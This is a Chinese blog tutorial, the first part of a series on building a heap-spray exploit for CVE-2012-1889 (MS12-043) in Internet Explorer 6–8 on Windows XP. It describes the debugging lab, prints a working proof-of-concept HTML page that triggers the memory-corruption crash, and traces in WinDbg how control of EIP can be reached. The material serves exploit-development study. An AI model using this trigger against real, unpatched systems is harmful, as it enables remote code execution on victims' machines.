首页 > 缓冲区溢出 > 实战HeapSpray之CVE2012-1889 Exploit编写(一)

实战HeapSpray之CVE2012-1889 Exploit编写(一)

业余花了点时间学习了堆喷射技术,集合自己的分析,还是决定发到博客上来分享一下,我会尽可能详细的描述整个过程(同时,由于细节描述的多,文章无法写成一篇),整个过程基于CVE2012-1889(MS12-043)进行,边学边写Exploit,最终完成XP下IE6 / IE7 / IE8下Exploit的开发(如有可能,将进一步编写Win7下的Exploit),中间会涉及到堆喷射的介绍、ROP绕过DEP、精确堆喷射,注意我们不关心漏洞本身的细节。

文章的编写参考了网上许多文章,在此先表示感谢,链接会在最后一篇文章给出。本文是第一篇,大概介绍下环境的搭建、PoC以及漏洞本身的一些情况。

1. 环境搭建
为了从简单的情况开始描述我们的核心技术——堆喷射,我们需要从XP下对IE6开始进行实验,需要的环境配置如下:
操作系统:Windows XP with SP3
浏 览 器:Internet Explorer 6 / Internet Explorer 7 / Internet Explorer 8
调 试 器:Windbg / Immunity Debugger
虚 拟 机:VMWare
开发工具:Microsoft Visual Studio 2008 with SP1
其他工具:Process Explorer / Metasploit

实验环境搭建采用VMWare搭建虚拟机的形式,不必在真实机器上构建环境,可以方便快速的完成实验环境的搭建;同时使用VMWare的快照管理功能可以方便实现实验环境的保存和恢复,满足实验环境对不同版本的IE浏览器的要求。
漏洞观察分析方面,调试器采用Windbg。Windbg是微软公司的一个调试工具,配合其自动下载调试符号功能可以方便的对IE浏览器进行调试。
漏洞利用程序辅助开发方面,使用Immunity Debugger调试器。Immunity Debugger是基于Ollydbg调试器全新开发的调试器,其插件可使用Python开发,功能相当强大,而且现有的Mona插件将协助我们提取ROP链绕过DEP,以方便开发IE8下的漏洞利用程序。
漏洞利用程序开发方面,IDE使用Visual Studio 2008,编程采用Win32 SDK开发。Metasploit可以为我们提供稳定的ShellCode模板。

特别注意:虚拟机需要联网。因为Windbg(点击下载Windbg)需要下载IE对应的符号表,方便我们调试。安装好Windbg后,打开Windbg,选择菜单项的“File”->“Symbol File Path”,然后填下:

srv*c:\Symbols*http://msdl.microsoft.com/download/symbols

表示从网上下载系统对应的符号表到C盘的symbols目录下,只有需要的时候才会下载;对于已经下载的以后就直接用这个文件夹里面的符号表了。

2. CVE2012-1889(MS12-043)简介
据CVE-2012-1889描述,Microsoft XML Core Services 中的漏洞可能允许远程执行代码。微软公司将该漏洞编号为MS12-043,其描述是:“Microsoft XML Core Services 处理内存中的对象的方式中存在一个远程执行代码漏洞。如果用户查看包含特制内容的网站,则该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以完全控制受影响的系统。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。”

3. 初探PoC
网上流传的PoC代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
        var obj = document.getElementById('poc').object;
        var src = unescape("%u0c0c%u0c0c");
        while (src.length < 0x1002) src += src;
        src = "\\\\xxx" + src;
        src = src.substr(0, 0x1000 - 10);
        var pic = document.createElement("img");
        pic.src = src;
        pic.nameProp;
        obj.definition(0);
    </script>
</body>
</html>

把上面的代码保存为一个HTML文件,并使用IE6打开这个网页,在IE6地址栏下弹出的警告条上右键点击“允许阻止的内容”,在确认对话框上点击“是”,就会造成IE浏览器的崩溃:
MS12-043 IE6 PoC Crash

触发漏洞的代码是JavaScript中最后一句,即第16行的obj.definition(0)。definition是DOM对象的一个属性,而且是只读的属性,不可以把属性当作函数来使用并往里面传递参数。

现在,我们重新用IE6打开这个页面,先不要点击“允许阻止的内容”,此时打开Windbg,按下F6,附加到IE,在Windbg输入命令g继续,再在IE6点击“允许阻止的内容”,在触发异常时Windbg会中断:
Windbg调试器下的漏洞触发情形
可以看到,在执行mov ecx, dword ptr [eax]的时候eax的值为0x0c0c0c0c,这条指令尝试从0x0c0c0c0c读取数据,而0x0c0c0c0c处并不可读,于是触发非法访问的异常(Access violation);继续往上看,eax的值来自于ebp-14h内存处的值,在执行完对eax的赋值操作之后,程序比较了eax和ebx寄存器的内容,如果eax的内容为0就会跳转,越过触发异常的代码,但是很不幸的是PoC代码在栈上产生了大量的0c0c字节,于是eax不为0,跳转也不会执行。

如果要执行代码,就需要修改EIP寄存器的内容,继续往下看,来到call dword ptr [ecx+18h]处,这个地方刚好够我们转移EIP。
CVE2012-1889 Windbg IE EIP
如果0x0c0c0c0c处存在可读的内存,那么上面就不会出现Access violation的情况,同时,程序视图跳转到0x0c0c0c0c + 0×18 = 0x0C0C0C24处执行代码,如果事先在这个地方安排好需要执行的代码,那么漏洞触发后就会执行任意代码了。

下一篇文章《实战HeapSpray之CVE2012-1889 Exploit编写(二)》,将介绍基本的堆喷射技术,并完成IE6下Exploit的开发。


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> 实战HeapSpray之CVE2012-1889 Exploit编写(一)
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. h
    2013年6月30日15:53 | #1

    I just wanna say one thing: your site looks just awful in IE 7 standards mode…

    [回复]

    代码疯子 回复:

    @h, IE7 is out of date. It looks not so bad in IE8. Chrome is recommended.

    [回复]

  1. 2012年12月11日21:54 | #1
  2. 2012年12月29日18:54 | #2